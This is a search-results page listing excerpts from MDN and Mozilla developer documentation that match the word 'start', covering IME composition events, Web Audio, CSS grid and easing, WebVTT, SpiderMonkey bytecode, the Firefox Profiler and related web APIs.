platform. this capsules the logic to dispatch widgetcompositionevent and widgetkeyboardevent for making the behavior on each platform exactly same. for example, if widgetkeyboardevent should be dispatched when there is a composition is managed by this class in xp level. first of use, native ime handlers get the rights to use texteventdispatcher with a call of beginnativeinputtransaction(). then,
startcomposition(), setpendingcomposition(), flushpendingcomposition(), commitcomposition(), etc. are available if beginnativeinputtransaction() return true. these methods automatically manage composition state and dispatch widgetcompositionevent properly. this is also used by mozilla::textinputprocessor which can emulates (or implements) ime with chrome script. so, native ime handlers using this clas...
...etcompositionevent properly. this is also used by mozilla::textinputprocessor which can emulates (or implements) ime with chrome script. so, native ime handlers using this class means that the dispatching part is also tested by automated tests. mozilla::widgetcompositionevent internally, widgetcompositionevent represents native ime behavior. its message is one of following values: ecomposition
start this is dispatched at
starting a composition. this represents a dom composition
start event. the mdata value is a selected string at dispatching the dom event and it's automatically set by textcomposition. ecompositionupdate this is dispatched by textcomposition when an ecompoitionchange will change the composition string. this represents a dom compositionupdate event. ecompositionend this is...
...onend event. ecompositioncommit this is used internally only. this is dispatched when a composition is committed with specific string. the mdata value is the commit string. this causes a dom text event without clause information and a dom compositionend event. ...
...And 15 more matches
Inputs and input sources - Web APIs
the event is delivered as an xrinputsourcechangeevent, which includes three properties of interest: session the xrsession for which the input sources have changed. added an array of zero or more xrinputsource objects indicating the input sources that have been newly added to the xr system. removed an array of zero or more xrinputsource objects indicating any input sources that hav...
...then look at each input source and find one matching this, if available, falling back to another controller if no controller is in that hand. ...
...then the select event handler is replaced with the function realselecthandler(), which will be used for handling all future select events. ...
...And 15 more matches
Advanced techniques: Creating and sequencing audio - Web APIs
hese terms and you're looking for an introduction to their application within with the web audio api, you've come to the right place. demo we're going to be looking at a very simple step sequencer: in practice this is easier to do with a library — the web audio api was built to be built upon. if you are about to embark on building something more complex, tone.js would be a good place to
start. however, we want to demonstrate how to build such a demo from first principles, as a learning exercise. note: you can find the source code on github as step-sequencer; see the step-sequencer running live also. the interface consists of master controls, which allow us to play/stop the sequencer, and adjust the bpm (beats per minute) to speed up or slow down the "music". there are four differ...
...codeaudiodata(), audiobuffersourcenode note: this instrument was not created to sound good, it was created to provide demonstration code and represents a very simplified version of such an instrument. the sounds are based on a dial-up modem. if you are unaware of how one sounds you can listen to one here. creating an audio context as you should be used to by now, each web audio api app
starts with an audio context: // for cross browser compatibility const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); the "sweep" — oscillators, periodic waves, and envelopes for what we will call the "sweep" sound, that first noise you hear when you dial up, we're going to create an oscillator to generate the sound. the oscillatornode comes ...
...s. it is taken from a repository of wavetables, which can be found in the web audio api examples from google chrome labs. the oscillator now we can create an oscillatornode and set its wave to the one we've created: function playsweep() { let osc = audioctx.createoscillator(); osc.setperiodicwave(wave); osc.frequency.value = 440; osc.connect(audioctx.destination); osc.
start(); osc.stop(audioctx.currenttime + 1); } controlling amplitude this is great, but wouldn't it be nice if we had an amplitude envelope to go with it? let's create a simple one so we get used to the methods we need to create an envelope with the web audio api. let's say our envelope has attack and release. we can allow the user to control these using range inputs on the interface: <label f...
...And 15 more matches
Basic Concepts of grid layout - CSS: Cascading Style Sheets
ire grid is aligned. control of overlapping content more than one item can be placed into a grid cell or area and, they can partially overlap each other. this layering may then be controlled with the z-index property. grid is a powerful specification that, when combined with other parts of css such as flexbox, can help you create layouts that were previously impossible to build in css. it all
starts by creating a grid in your grid container. the grid container we create a grid container by declaring display: grid or display: inline-grid on an element. as soon as we do this, all direct children of that element become grid items. in this example, i have a containing div with a class of wrapper and, inside are five child elements. <div class="wrapper"> <div>one</div> <div>two</div> <...
...or, available as part of firefox's developer tools. if you view this example in firefox and inspect the grid, you will see a small icon next to the value grid. click this and then the grid on this element will be overlaid in the browser window. as you learn and then work with the css grid layout this tool will give you a better idea of what is happening with your grids visually. if we want to
start making this more grid-like we need to add column tracks. grid tracks we define rows and columns on our grid with the grid-template-columns and grid-template-rows properties. these define grid tracks. a grid track is the space between any two lines on the grid. in the below image you can see a track highlighted – this is the first row track in our grid. i can add to our earlier example by a...
... to do this in a later guide in this series. positioning items against lines we will be exploring line based placement in full detail in a later article. the following example demonstrates doing this in a simple way. when placing an item, we target the line – rather than the track. in the following example i am placing the first two items on our three column track grid, using the grid-column-
start, grid-column-end, grid-row-
start and grid-row-end properties. working from left to right, the first item is placed against column line 1, and spans to column line 4, which in our case is the far-right line on the grid. it begins at row line 1 and ends at row line 3, therefore spanning two row tracks. the second item
starts on grid column line 1, and spans one track. this is the default so i do n...
...And 15 more matches
<easing-function> - CSS: Cascading Style Sheets
the <easing-function> css data type denotes a mathematical function that describes how fast one-dimensional values change during animations. this lets you vary the animation's speed over the course of its duration. the easing functions in the cubic-bezier subset of easing functions are often called "smooth" easing functions, because they can be used to smooth down the
start and end of the animation. they correlate a time ratio to an output ratio, both expressed as <number>s. for these values, 0.0 represents the initial state, and 1.0 represents the final state. depending on the specific function used, the calculated output can sometimes grow to be greater than 1.0 or smaller than 0.0 during the course of an animation. this causes the animation to go farther than the final state, and then r...
...e easily referenced. the linear class of easing functions linear the animation moves from beginning to end at a constant rate. this keyword represents the easing function cubic-bezier(0.0, 0.0, 1.0, 1.0). the cubic-bezier() class of easing functions the cubic-bezier() functional notation defines a cubic bézier curve. as these curves are continuous, they are often used to smooth down the
start and end of the animation and are therefore sometimes called easing functions. a cubic bézier curve is defined by four points p0, p1, p2, and p3. p0 and p3 are the
start and the end of the curve and, in css these points are fixed as the coordinates are ratios (the abscissa the ratio of time, the ordinate the ratio of the output range). p0 is (0, 0) and represents the initial time and the initial...
... you specify an invalid cubic-bezier curve, css ignores the whole property. syntax cubic-bezier(x1, y1, x2, y2) where: x1, y1, x2, y2 are <number> values representing the abscissas, and ordinates of the p1 and p2 points defining the cubic bézier curve. x1 and x2 must be in the range [0, 1] or the value is invalid. keywords for common cubic-bezier easing functions ease the animation
starts slowly, accelerates sharply, and then slows gradually towards the end. this keyword represents the easing function cubic-bezier(0.25, 0.1, 0.25, 1.0). it is similar to ease-in-out, though it accelerates more sharply at the beginning. ease-in the animation
starts slowly, and then progressively speeds up until the end, at which point it stops abruptly. this keyword represents the easing functi...
...And 15 more matches
Migrating from webkitAudioContext - Web APIs
es var gain = context.creategainnode(); var delay = context.createdelaynode(); var js = context.createjavascriptnode(1024); you can simply rename the methods to look like this: // new method names var gain = context.creategain(); var delay = context.createdelay(); var js = context.createscriptprocessor(1024); the semantics of these methods remain the same in the renamed versions. ...
...e(); var js = context.createjavascriptnode(1024); you can simply rename the methods to look like this: // new method names var gain = context.creategain(); var delay = context.createdelay(); var js = context.createscriptprocessor(1024); the semantics of these methods remain the same in the renamed versions. ...
...is: // new method names var gain = context.creategain(); var delay = context.createdelay(); var js = context.createscriptprocessor(1024); the semantics of these methods remain the same in the renamed versions. changes to
starting and stopping nodes in webkitaudiocontext, there are two ways to
start and stop audiobuffersourcenode and oscillatornode: the noteon() and noteoff() methods, and the
start() and stop() methods. ...
...And 14 more matches
justify-content - CSS: Cascading Style Sheets
ve-examples and send us a pull request. the alignment is done after the lengths and auto margins are applied, meaning that, if in a flexbox layout there is at least one flexible element, with flex-grow different from 0, it will have no effect as there won't be any available space. ...
...est. the alignment is done after the lengths and auto margins are applied, meaning that, if in a flexbox layout there is at least one flexible element, with flex-grow different from 0, it will have no effect as there won't be any available space. ...
...if in a flexbox layout there is at least one flexible element, with flex-grow different from 0, it will have no effect as there won't be any available space. ...
...And 14 more matches
Additional Navigation - Archive of obsolete content
e subject may be a resource uri. the object attribute may be a resource uri or a literal value. using a literal as the object of a triple is a common way to filter out specific items. for instance, if items were identified with a type, the data could be filtered to include only items of a particular type. here is an example triple that we could use in the photos example: <query> <content uri="?
start"/> <member container="?
start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> this new triple has a static value for the object attribute instead of a variable reference. you might be able to guess that it will cause a match for only one of the photos, the canal photo. the others won't be able to match ...
...dc/elements/1.1/title" object="canal"/> </query> this new triple has a static value for the object attribute instead of a variable reference. you might be able to guess that it will cause a match for only one of the photos, the canal photo. the others won't be able to match when evaluating the triple. ...
...ribute instead of a variable reference. you might be able to guess that it will cause a match for only one of the photos, the canal photo. the others won't be able to match when evaluating the triple. to look closer, here is the data network after only the member has been evaluated: (?
start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg) (?
start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg) (?
start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/obselisk.jpg) when evaluating the triple, the template builder will iterate over the three potential results found so far. for the first result, the value of the ?photo variable 'http://www.xul...
...And 13 more matches
Anatomy of a video game - Game development
imationframe() will be the foundation of most well-programmed per-frame main loops. a callback function must be passed in to it when it is called. that callback function will be executed at a suitable time before the next repaint. here is an example of a simple main loop: window.main = function () { window.requestanimationframe( main ); // whatever your main loop needs to do }; main(); //
start the cycle note: in each of the main() methods discussed here, we schedule a new requestanimationframe before performing our loop contents. that is not by accident and it is considered best practice. calling the next requestanimationframe early ensures the browser receives it on time to plan accordingly even if your current frame misses its vsync window. the above chunk of code has two stateme...
...ith our previous main loop: main() pollutes the window object (where all global variables are stored) and the example code did not leave us with a way to stop the loop unless the whole tab is closed or refreshed. for the first issue, if you want the main loop to just run and you do not need easy (direct) access to it, you could create it as an immediately-invoked function expression (iife). /* *
starting with the semicolon is in case whatever line of code above this example * relied on automatic semicolon insertion (asi). the browser could accidentally * think this whole example continues from the previous line. the leading semicolon * marks the beginning of our new line if the previous one was not empty or terminated. */ ;(function () { function main() { window.requestanimationframe( m...
...bove this example * relied on automatic semicolon insertion (asi). the browser could accidentally * think this whole example continues from the previous line. the leading semicolon * marks the beginning of our new line if the previous one was not empty or terminated. */ ;(function () { function main() { window.requestanimationframe( main ); // your main loop contents } main(); //
start the cycle })(); when the browser comes across this iife, it will define your main loop and immediately queue it for the next frame. it will not be attached to any object and main (or main() for methods) will be a valid unused name in the rest of the application, free to be defined as something else. note: in practice, it is more common to prevent the next requestanimationframe() with an if-sta...
...And 13 more matches
Download
a download object represents a single download, with associated state and actions. this object is transient, though it can be included in a downloadlist so that it can be managed by the user interface and persisted across sessions. a new download object can be created using the downloads.createdownload() function. method overview promise
start(); promise launch(); promise showcontainingdirectory(); promise cancel(); promise removepartialdata(); promise whensucceeded(); promise finalize([optional] boolean aremovepartialdata); properties attribute type description canceled read only boolean indicates that the download has been canceled. this property can become true, then it can b...
...mise cancel(); promise removepartialdata(); promise whensucceeded(); promise finalize([optional] boolean aremovepartialdata); properties attribute type description canceled read only boolean indicates that the download has been canceled. this property can become true, then it can be reset to false when a canceled download is re
started. this property becomes true as soon as the cancel() method is called, though the stopped property might remain false until the cancellation request has been processed. temporary files or part files may still exist even if they are expected to be deleted, until the stopped property becomes true. contenttype string the mime type of the download, for example "text/plai...
...ed property becomes true. contenttype string the mime type of the download, for example "text/plain", or null if the mime type is not available. this property may be populated or changed while the download is in progress, using the mime type provided by the server. currentbytes read only number number of bytes currently transferred. this value
starts at zero, and may be updated regardless of the value of hasprogress. note: you shouldn't rely on this property being equal to totalbytes to determine whether the download is completed. you should use the individual state properties instead, since this value may not be updated after the last piece of data is transferred. error read only downloaderror when the download fai...
...And 13 more matches
Shell global objects
note: this list overlaps with "built-in functions" in introduction to the javascript shell and is probably not complete. see js/src/shell/js.cpp (around shell_functions) for more. this page lists variables and functions available on spidermonkey 53. there may be some difference between each versions. you can get the list of functions by help() function in js shell. variables scriptargs an array that contains arguments passed to js shell. scriptpath a string that is a path of script. ...
...ilename is relative to the calling script. evaluate(code[, options]) evaluate code as though it were the contents of a file. ...
...valuate code as though it were the contents of a file. ...
...And 13 more matches
Web Console remoting - Firefox Developer Tools
e webconsoleclient lives in webconsoleclient.jsm (in toolkit/devtools/webconsole) and it is used by the web console when working with the web console actor. to see how the debugger is used in the web console code, look in browser/devtools/webconsole/webconsole.js, and search for webconsoleconnectionproxy. the new web console actors are: the webconsoleactor allows js evaluation, autocomplete,
start/stop listeners, etc. the networkeventactor is used for each new network request. the client can request further network event details - like response body or request headers. to attach to the webconsoleactor, follow these steps: connecttoserver() // the usual listtabs() pickthetabyouwant() debuggerclient.attachconsole(tab.consoleactor, listeners, onattachconsole) the listeners argument is a...
...s used for each new network request. the client can request further network event details - like response body or request headers. to attach to the webconsoleactor, follow these steps: connecttoserver() // the usual listtabs() pickthetabyouwant() debuggerclient.attachconsole(tab.consoleactor, listeners, onattachconsole) the listeners argument is an array which specifies listeners you want to
start in the web console. these can be: page errors, window.console api messages, network activity, and file activity. for example: ["pageerror", "consoleapi", "networkactivity", "fileactivity"] the web console actor does not
start any listeners by default. the client has the option to
start each listener when needed. this approach allows for lower resource usage on the server - this is a potential ...
... protocol packets look as follows: { "to": "root", "type": "listtabs" } { "from": "root", "consoleactor": "conn0.console9", "selected": 2, "tabs": [ { "actor": "conn0.tab2", "consoleactor": "conn0.console7", "title": "", "url": "https://tbpl.mozilla.org/?tree=fx-team" }, // ... ...
...And 13 more matches
HTMLTextAreaElement - Web APIs
sets the element's required attribute, indicating that the user must specify a value before submitting the form. rows unsigned long: returns / sets the element's rows attribute, indicating the number of visible text lines for the control. selectiondirection string: returns / sets the direction in which selection occurred. this is "forward" if selection was performed in the
start-to-end direction of the current locale, or "backward" for the opposite direction. this can also be "none" if the direction is unknown. selectionend unsigned long: returns / sets the index of the end of selected text. if no text is selected, contains the index of the character that follows the input cursor. on being set, the control behaves as if setselectionrange() had been called wit...
..."backward" for the opposite direction. this can also be "none" if the direction is unknown. selectionend unsigned long: returns / sets the index of the end of selected text. if no text is selected, contains the index of the character that follows the input cursor. on being set, the control behaves as if setselectionrange() had been called with this as the second argument, and selection
start as the first argument. selection
start unsigned long: returns / sets the index of the beginning of selected text. if no text is selected, contains the index of the character that follows the input cursor. on being set, the control behaves as if setselectionrange() had been called with this as the first argument, and selectionend as the second argument. tabindex long: return...
...overflow: hidden; width: 300px; height: 100px; } html <form> <fieldset> <legend>your comments</legend> <p><textarea class="noscrollbars" onkeyup="autogrow(this);"></textarea></p> <p><input type="submit" value="send" /></p> </fieldset> </form> insert html tags example insert some html tags or smiles or any custom text in a textarea. ...
...And 13 more matches
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
er to the local device. the difference is that remote-outbound-rtp describes statistics about the transmission(s) from the perspective of the remote peer, while inbound-rtp offers statistics about the incoming data from the local peer's perspective. you can examine, try out, and experiment with this example on glitch. ...
...ncoming data from the local peer's perspective. you can examine, try out, and experiment with this example on glitch. example in this example, we have a pair of functions: the first, networktest
start(), captures an initial report, and the second, networkteststop(), captures a second report, then uses the two reports to output some information about the network conditions... xxx ... networktest
start() this function simply calls the rtcpeerconnection method getstats() to request an rtcstatsreport and store it in the variable
startreport. ...
...e a pair of functions: the first, networktest
start(), captures an initial report, and the second, networkteststop(), captures a second report, then uses the two reports to output some information about the network conditions... xxx ... networktest
start() this function simply calls the rtcpeerconnection method getstats() to request an rtcstatsreport and store it in the variable
startreport. let
startreport; async function networktest
start(pc) { if (pc) {
startreport = await pc.getstats(); } } given an rtcpeerconnection, pc, this calls its getstats() method to obtain a statistics report object, which it stores in
startreport for use once the end-of-test data has been collected by networkteststop(). networkteststop() the networkteststop() function obtains a second report, endreport,...
...And 13 more matches
Web Video Text Tracks Format (WebVTT) - Web APIs
- [ bats screeching ] - they won't get in your hair. they're after the bugs. inner structure of a webvtt file let's re-examine one of our previous examples, and look at the cue structure in a bit more detail. webvtt 00:01.000 --> 00:04.000 - never drink liquid nitrogen. 00:05.000 --> 00:09.000 - it will perforate your stomach. - you could die. in the case of each cue: the first line is
started with a time, which is the
starting time for showing the text that appears underneath. on the same line, we then have a string of "-->". we finish the first line with a second time, which is the ending time for showing the associated text. we can then have one or more lines that
start with a hyphen (-), each containing part of the text track to be shown. we can also place comments in our .v...
...you'll find more about these in the below section. it is important to not use "extra" blank lines within a cue, for example between the timings line and the cue payload. ...
...cue settings for more information): webvtt 00:00:00.000 --> 00:00:04.000 position:10%,line-left align:left size:35% where did he go? 00:00:03.000 --> 00:00:06.500 position:90% align:right size:35% i think he went down this lane. 00:00:04.000 --> 00:00:06.500 position:45%,line-right align:center size:35% what are you waiting for? webvtt cues a cue is a single subtitle block that has a single
start time, end time, and textual payload. example 6 consists of the header, a blank line, and then five cues separated by blank lines. a cue consists of five components: an optional cue identifier followed by a newline. cue timings. optional cue settings with at least one space before the first and between each setting. one or more newlines. the cue payload text. example 7 - example of a cue ...
...And 13 more matches
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
one after any flexible lengths and any auto margins have been resolved. typically, it helps to distribute extra free space leftover when either all the flex items on a line are inflexible, or are flexible but have reached their maximum size. it also exerts some control over the alignment of items when they overflow the line. note: space-* values not supported in older syntaxes. ...
... inflexible, or are flexible but have reached their maximum size. it also exerts some control over the alignment of items when they overflow the line. note: space-* values not supported in older syntaxes. ...
...ut have reached their maximum size. it also exerts some control over the alignment of items when they overflow the line. note: space-* values not supported in older syntaxes. ...
...And 13 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
entlistener('click', function(e) { this.select(); }); input.addeventlistener('change', function(e) { var value = parsefloat(e.target.value); if (isnan(value) === true) setvalue(obj.topic, obj.value); else setvalue(obj.topic, value); }); return input; }; var slidercomponent = function slidercomponent(obj, sign) { var slider = document.createelement('div'); var
startx = null; var
start_value = 0; slider.addeventlistener("click", function(e) { document.removeeventlistener("mousemove", slidermotion); setvalue(obj.topic, obj.value + obj.step * sign); }); slider.addeventlistener("mousedown", function(e) {
startx = e.clientx;
start_value = obj.value; document.body.style.cursor = "e-resize"; document.addeventlistener("mouseup", slideend...
...t.addeventlistener("mouseup", slideend); document.addeventlistener("mousemove", slidermotion); }); var slideend = function slideend(e) { document.removeeventlistener("mousemove", slidermotion); document.body.style.cursor = "auto"; slider.style.cursor = "pointer"; }; var slidermotion = function slidermotion(e) { slider.style.cursor = "e-resize"; var delta = (e.clientx -
startx) / obj.sensivity | 0; var value = delta * obj.step +
start_value; setvalue(obj.topic, value); }; return slider; }; var inputslider = function(node) { var min = parsefloat(node.getattribute('data-min')); var max = parsefloat(node.getattribute('data-max')); var step = parsefloat(node.getattribute('data-step')); var value = parsefloat(node.getattribute('data-value')); var ...
...p : getstep, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe, setprecision : setprecision, setsensivity : setsensivity, getprecision : getprecision, createslider : createslider, }; })(); /** * ui-slidersmanager */ var slidermanager = (function slidermanager() { 'use strict'; var subscribers = {}; var sliders = []; function trackmouse(elem, callback,
startfunc, endfunc) {
startfunc =
startfunc || function(e) {}; endfunc = endfunc || function(e) {}; elem.addeventlistener('mousedown', function(e) { e.preventdefault();
startfunc(e); document.addeventlistener('mousemove', callback); document.addeventlistener('mouseup', function up(e) { document.removeeventlistener('mousemove', callback); document.removeeventlistener('mouseup...
...And 13 more matches
A first splash into JavaScript - Learn web development
e detail! note: many of the code features you'll see in javascript are the same as in other programming languages — functions, loops, etc. the code syntax looks different, but the concepts are still largely the same. thinking like a programmer one of the hardest things to learn in programming is not the syntax you need to learn, but how to apply it to solve real world problems. you need to
start thinking like a programmer — this generally involves looking at descriptions of what your program needs to do, working out what code features are needed to achieve those things, and how to make them work together. this requires a mixture of hard work, experience with the programming syntax, and practice — plus a bit of creativity. the more you code, the better you'll get at it. we can't prom...
...guess > randomnumber) { loworhi.textcontent = 'last guess was too high!'; } } guesscount++; guessfield.value = ''; } guesssubmit.addeventlistener('click', checkguess); function setgameover() { guessfield.disabled = true; guesssubmit.disabled = true; resetbutton = document.createelement('button'); resetbutton.textcontent = '
start new game'; document.body.append(resetbutton); resetbutton.addeventlistener('click', resetgame); } function resetgame() { guesscount = 1; const resetparas = document.queryselectorall('.resultparas p'); for(let i = 0 ; i < resetparas.length ; i++) { resetparas[i].textcontent = ''; } resetbutton.parentnode.removechild(resetbutton); gu...
...llenge the player to guess the number in 10 turns. after each turn the player should be told if they are right or wrong, and if they are wrong, whether the guess was too low or too high. it should also tell the player what numbers they previously guessed. the game will end once the player guesses correctly, or once they run out of turns. when the game ends, the player should be given an option to
start playing again. upon looking at this brief, the first thing we can do is to
start breaking it down into simple actionable tasks, in as much of a programmer mindset as possible: generate a random number between 1 and 100. record the turn number the player is on.
start it on 1. provide the player with a way to guess what the number is. once a guess has been submitted first record it somewher...
...And 12 more matches
Understanding client-side JavaScript frameworks - Learn web development
an aspiring front-end developer, it can be hard to work out where to begin when learning frameworks — there are so many different frameworks to choose from, new ones appear all the time, they mostly work in a similar way but do some things differently, and there are some specific things to be careful about when using frameworks. in this set of articles, we are aiming to give you a comfortable
starting point to help you begin learning frameworks. we are not aiming to exhaustively teach you everything you need to know about react/reactdom, or vue, or some other specific framework; the framework teams' own docs (and other resources) do that job already. instead, we want to back up and first answer more fundamental questions such as: why should i use a framework? what problems do they solve ...
...oose a framework? do i even need to use a framework? what features do frameworks have? how do they work in general, and how do frameworks' implementations of these features differ? how do they relate to "vanilla" javascript or html? ...
...anilla" javascript or html? after that, we'll provide some tutorials covering the essentials of some of the different framework choices, to provide you with enough context and familiarity to
start going into greater depth yourself. we want you to go forward and learn about frameworks in a pragmatic way that doesn't forget about web platform fundamental best practices such as accessibility. get
started now, with "introduction to client-side frameworks" prerequisites you should really learn the basics of the core web languages first before attempting to move on to learning client-side frameworks — html, css, and especially javascript. your code will be richer and more professional as a result, and you'll be able to troubleshoot problems with more confidence if you understand the fundament...
...And 12 more matches
Introduction to automated testing - Learn web development
m already installed, you should update them to their latest versions. to update node, the most reliable way is to download and install an updated installer package from their website (see link above). to update npm, use the following command in your terminal: npm install npm@latest -g note: if the above command fails with permissions errors, fixing npm permissions should sort you out. to
start using node/npm-based packages on your projects, you need to set up your project directories as npm projects. this is easy to do. for example, let's first create a test directory to allow us to play without fear of breaking anything. create a new directory somewhere sensible using your file manager ui, or, on a command line, by navigating to the location you want and running the following comm...
...hese tasks when any files of these types are saved. you could also use wildcards in your main tasks, for example gulp.src('src/*.css') would grab all your css files and then run piped tasks on them. note: one problem with our watch command above is that our csslint/autoprefixer combination throws full-blown errors when a css error is encountered, which stops the watch working. you'll have to re
start the watch once a css error is encountered, or find another way to do this. there's a lot more you can do with gulp. the gulp plugin directory has literally thousands of plugins to search through. other task runners there are many other task runners available. we certainly aren't trying to say that gulp is the best solution out there, but it works for us and it is fairly accessible to beginner...
...other task runners there are many other task runners available. we certainly aren't trying to say that gulp is the best solution out there, but it works for us and it is fairly accessible to beginners. you could also try using other solutions: grunt works in a very similar way to gulp, except that it relies on tasks specified in a config file, rather than using written javascript. see getting
started with grunt for more details. you can also run tasks directly using npm scripts located inside your package.json file, without needing to install any kind of extra task runner system. this works on the premise that things like gulp plugins are basically wrappers around command line tools. so, if you can work out how to run the tools using the command line, you can then run them using npm script...
...And 12 more matches
nsITextInputProcessor
however, if the event is consumed by web content, it returns false. in this case, composition isn't created. so, js-ime shouldn't continue to compose the string. finally, when you commit the composition with the last composition string, just do this: tip.commitco...
...however, if the event is consumed by web content, it returns false. in this case, composition isn't created. so, js-ime shouldn't continue to compose the string. finally, when you commit the composition with the last composition string, just do this: tip.commitcomposition(); when you commit composition with specific string, s...
...however, if the event is consumed by web content, it returns false. ...
...And 12 more matches
Capabilities, constraints, and settings - Web APIs
e process works like this (using mediastreamtrack as an example): if needed, call mediadevices.getsupportedconstraints() to get the list of supported constraints, which tells you what constrainable properties the browser knows about. this isn't always necessary, since any that aren't known will simply be ignored when you specify them—but if you have any that you can't get by without, you can
start by checking to be sure they're on the list. once the script knows whether the property or properties it wishes to use are supported, it can then check the capabilities of the api and its implementation by examining the object returned by the track's getcapabilities() method; this object lists each supported constraint and the values or range of values which are supported. finally, the track's a...
...lete example by clicking here. html content <p>experiment with media constraints! edit the constraint sets for the video and audio tracks in the edit boxes on the left, then click the "apply constraints" button to try them out. the actual settings the browser selected and is using are shown in the boxes on the right. ...
... video and audio tracks in the edit boxes on the left, then click the "apply constraints" button to try them out. the actual settings the browser selected and is using are shown in the boxes on the right. ...
...And 12 more matches
align-content - CSS: Cascading Style Sheets
ribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. this property has no effect on single line flex containers (i.e. ones with flex-wrap: nowrap). ...
...project, please clone https://github.com/mdn/interactive-examples and send us a pull request. this property has no effect on single line flex containers (i.e. ones with flex-wrap: nowrap). ...
...equest. this property has no effect on single line flex containers (i.e. ones with flex-wrap: nowrap). ...
...And 12 more matches
Third-party APIs - Learn web development
api functionality and make it available on your page. this typically involves first linking to a javascript library available on the server via a <script> element, as seen in our mapquest example: <script src="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.js"></script> <link type="text/css" rel="stylesheet" href="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.css"/> you can then
start using the objects available in that library. for example: let map = l.mapquest.map('map', { center: [53.480759, -2.242631], layers: l.mapquest.tilelayer('map'), zoom: 12 }); here we are creating a variable to store the map information in, then creating a new map using the mapquest.map() method, which takes as its parameters the id of a <div> element you want to display the map in ('map'),...
...se your own api key in place of any placeholder. other apis may require that you include the key in a slightly different way, but the pattern is relatively similar for most of them. requiring a key enables the api provider to hold users of the api accountable for their actions. ...
...if you've already cloned the examples repository, you'll already have a copy of this file, which you can find in the javascript/apis/third-party-apis/mapquest directory. ...
...And 11 more matches
Profiling with the Firefox Profiler
s available at profiler.firefox.com. it has tighter integration with firefox than external profilers, and has more of a platform focus than the devtools performance panel. it can be used in a variety of situations where external profilers are not available, and can provide more information and insight into what the browser is doing. using the firefox profiler visit profiler.firefox.com to get
started. it has instructions for enabling the profiler menu button, and getting going. there are also product docs available at profiler.firefox.com/docs/. in addition to profiler.firefox.com, the firefox devtools have a simplified interface targeted towards web developers, but does not include as much information as the firefox profiler web app. it is available from the menu at tools > web developer >...
...rl will see the same things you are seeing. tips understanding profiles can be difficult. if you're unfamiliar with gecko's internals, you can click the javascript only button to see where your javascript code is slow. each entry in the call tree shows a call stack and how much time is spent in that call stack. for example:in the results above we can see that we're spending ~287 milliseconds in
startup::xre_initchildprocess, 194 ms of which are spent in pvsync::msg_notify and all child functions that it calls. it is useful to scan down the "running time" column and look for when the time changes. while looking for performance problems, you're looking for the processes that are taking the most time; then you can figure out how to optimize them. common performance bugs in firefox inefficient ...
...tall the latest pre-release build in your host machine's firefox browser that has your phone reachable via adb. this will add a icon in the top right of the browser. set devtools.debugger.remote-enabled to true in about:config for fennec. select target mobile usb and press connect. the first run will take an additional 1 minute or so to pull in the required system libraries. ...
...And 11 more matches
Bytecode Descriptions
peof]](), the object where super property lookups should begin. callee must be a function that has a homeobject that's an object, typically produced by jsop::callee or jsop::envcallee. implements: getsuperbase, except that instead of the environment, the argument supplies the callee. getpropsuper operands: (uint32_t nameindex) stack: receiver, obj ⇒ super.name get the value of receiver.name,
starting the property search at obj. in spec terms, obj.[[get]](name, receiver). implements: getvalue for references created by super.name. the receiver is this and obj is the superbase of the enclosing method. format: jof_atom, jof_prop, jof_typeset, jof_ic getelemsuper stack: receiver, key, obj ⇒ super[key] get the value of receiver[key],
starting the property search at obj. in spec terms, obj.[...
...in spec terms, obj.[[set]](name, val, receiver). implements: putvalue for references created by super.name in non-strict code. the receiver is this and obj is the superbase of the enclosing method. ...
... use for this has no public methods.) if val is null or undefined, this pushes an empty iterator. the iter object pushed by this instruction must not be used or removed from the stack except by jsop::moreiter and jsop::enditer, or by error handling. the script's jsscript::trynotes() must mark the body of the for-in loop, i.e. exactly those instructions that begin executing with iter on the stack,
starting with the next instruction (always jsop::loophead). code must not jump into or out of this region: control can enter only by executing jsop::iter and can exit only by executing a jsop::enditer or by exception unwinding. (a jsop::enditer is always emitted at the end of the loop, and extra copies are emitted on "exit slides", where a break, continue, or return statement exits the loop.) typically...
...And 11 more matches
nsDependentCString
place replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscstring data members no public members. methods constructors nsdependentcstring(const char*, const char*) - source parameters char*
start a pointer to the
start of the string. must not be null. char* end a pointer to the string's null terminator. must not be null. nsdependentcstring(const char*, pruint32) - source parameters char* data a pointer to the string. must not be null. pruint32 length the length of the string. nsdependentcstring(const char*) - source constructs an nsdependentstring when you don't know the length in advan...
...st char*) - source constructs an nsdependentstring when you don't know the length in advance. instead ns_strlen is used to measure the length. parameters char* data a pointer to the string. must not be null. nsdependentcstring(const nscstring_internal&, pruint32) constructs an nsdependentstring from an existing flat string. parameters nscstring_internal& str the existing flat string. pruint32
startpos the position within the existing string at which the dependent string should
start. this is similar to using substring(str,
startpos), except that the resulting string is flat. void nsdependentcstring() - source constructs an nsdependentstring to be rebound later. nsdependentcstring(const nsacstring_internal&) - source obsolete in gecko 9. this constructor should not be used. parameters nsac...
...ot be used. parameters nsacstring_internal& str assertvalid void assertvalid() - source verify restrictions rebind void rebind(const char*) - source allow this class to be bound to a different string... ...
...And 11 more matches
Background Tasks API - Web APIs
with a simple shim that uses settimeout() as a fallback option. this isn't a polyfill, since it's not functionally identical; settimeout() doesn't let you make use of idle periods, but instead runs your code when possible, leaving us to do the best we can to avoid causing the user to experience performance lag. window.requestidlecallback = window.requestidlecallback || function(handler) { let
starttime = date.now(); return settimeout(function() { handler({ didtimeout: false, timeremaining: function() { return math.max(0, 50.0 - (date.now() -
starttime)); } }); }, 1); } if window.requestidlecallback is undefined, we create it here. the function begins by recording the time at which our implementation was called. we'll be using that to compute the valu...
